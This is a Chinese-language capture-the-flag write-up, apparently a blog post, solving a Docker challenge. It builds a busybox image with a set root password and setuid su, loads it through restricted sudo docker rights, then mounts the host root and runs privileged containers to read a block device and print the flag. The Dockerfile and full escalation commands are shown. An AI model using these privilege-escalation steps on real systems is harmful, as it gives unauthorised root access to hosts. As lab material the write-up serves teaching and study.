Docker for Everyone Plus——No Enough Privilege

直接告诉我们flag在/flag中,访问第一小题:

sudo -l查看允许提权执行的命令:

发现有image load命令


题目指明了有rz命令,可以用ZMODEM接收文件,看到一些write up说可以用XShell、MobaXterm、Tabby Terminal等软件连接上传,使用MobaXterm复制粘贴token后按Enter键出现^M

经过查询了解需要做出如下修改:


rz命令显示如下:

搜索得到的解决方案:

兜兜转转还是得XShell,改用XShell进行操作,先随便上传一个1.txt:

但是传输速率是0,这就很奇怪了

what can i say?


换成Tabby Terminal继续操作,同样地,得修改一下telnet的配置:

(注意:右键自动粘贴token不会被显示,输入结束后按Ctrl J即可开始题目)


rz一个1.txt发现被rejected了:


后面了解到~目录的权限是"只读":

切换到/tmp目录下就行了


在一篇文章中提到了,可以让docker里的用户运行一个镜像用su提权到root,待会就制作一个类似的镜像:

https://www.mendelowski.com/til/2024/07/no-new-privileges-docker


先制作镜像:

(注意:镜像名字需要小写字母,不然会报错,忘记截图了)

复制代码
FROM busybox:latest

# Create a new user
RUN adduser -D -u 1000 user && \
    # Set root password
    echo "root:root" | chpasswd && \
    # Make sure su has correct permissions
    chmod u+s /bin/su

# Switch to the new user
USER user
WORKDIR /home/user

CMD ["/bin/sh"]

docker build -t dockerfile:latest .命令构建docker镜像:

docker images查看镜像:

docker save -o dockerfile.tar dockerfile:latest命令将镜像导出为tar文件:

gzip dockerfile.tar命令将dockerfile.tar压缩成dockerfile.tar.gz文件并且将dockerfile.tar.gz下载到本地Windows再上传到/tmp中:

(注意:这里不知道为什么直接从VMare中复制粘贴到Windows中会失败,用MobaXterm没反应,用XShell倒是正常)


上传dockerfile.tar.gz:

(这里我以为上传dockerfile.tar卡住了,就想着会不会是文件类型的原因,压缩成.tar.gz后再上传dockerfile.tar.gz,但其实只是单纯的延迟问题)


gunzip dockerfile.tar.gz命令解压:


sudo docker image load < dockerfile.tar命令载入镜像:


因为在开头的sudo -l命令指明了docker run需要用低权限的uid 1000运行容器,-v /:/host是将主机的根目录直接挂载到了容器里:

运行docker镜像:

sudo docker run --rm -u 1000:1000 -v /:/host -it dockerfile命令:

(运行之后会进入到/bin/sh终端中)

开头的sudo -l命令:


进入到/host目录,发现/flag指向的是/dev/vdb设备块,而/dev/vdb的属组是 disk,/dev/vdb的读取权限是对用户组开放的,因此不需要指定容器用户为root,只需要指定用户组disk就有读取权限了:


exit退出,重新运行docker镜像并指定用户组disk:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host -it dockerfile命令:

发现这次不是Permission denied了,而是Operation not permitted

后面了解到docker默认不允许容器对设备块进行操作


但可以添加参数--privileged=true授予操作设备块的能力:

sudo docker run --rm -u 1000:1000 --user 1000:disk -v /:/host --privileged=true -it dockerfile命令和cat /host/dev/vdb命令:

成功得到flag:

flag{dONT_1OAD_uNTRusT3D_1ma6e_f2c2c2f7d1_plz!}


更推荐使用下面的命令:

或者docker image load < dockerfile.tar后也可以使用如下命令:

复制代码
dockerv:/tmp$ sudo docker run --rm -u 1000:1000 -v /flag:/flag -v /dev:/dev --pr
ivileged --pid=host --cap-add=SYS_ADMIN reader_busybox1 whoami
user
dockerv:/tmp$ sudo docker run --rm -u 1000:1000  -it -v /flag:/flag -v /dev:/dev
 --privileged --pid=host --cap-add=SYS_ADMIN reader_busybox1
~ $ su root
Password:
/home/user # cat /flag
flag{dONT_1OAD_uNTRusT3D_1ma6e_253cb5a83d_plz!}

附上删除docker镜像命令:

docker rmi dockerfile命令:

相关推荐
菜鸟是大神3 小时前
【已解决】docker: Error response from daemon: Get “https://registry-1.docker.io/v2/“: net/http: request c
http·docker·容器
kong@react3 小时前
docker安装 Elasticsearch、Kibana、IK 分词器
elasticsearch·docker·jenkins
MurphyStar3 小时前
Ubuntu22.04.5 LTS安装与使用Docker
运维·docker·容器
贺贺丿3 小时前
Docker2-容器应用工具及docker命令
linux·运维·docker·容器·自动化·云计算
亿刀4 小时前
【学习VPN之路】路由表
android·docker
超龄超能程序猿5 小时前
图片查重从设计到实现(2)Milvus安装准备etcd介绍、应用场景及Docker安装配置
docker·etcd·milvus
江湖有缘6 小时前
【Docker项目实战】在Docker环境下部署go-file文件分享工具
docker·容器·golang
波吉爱睡觉6 小时前
文件解析漏洞大全
web安全·网络安全
青藤云安全13 小时前
青藤天睿RASP再次发威!捕获E签宝RCE 0day漏洞
网络安全
小和尚同志16 小时前
26.4k Star 的开源自托管仪表盘,关注你想关注的一切
docker·容器·开源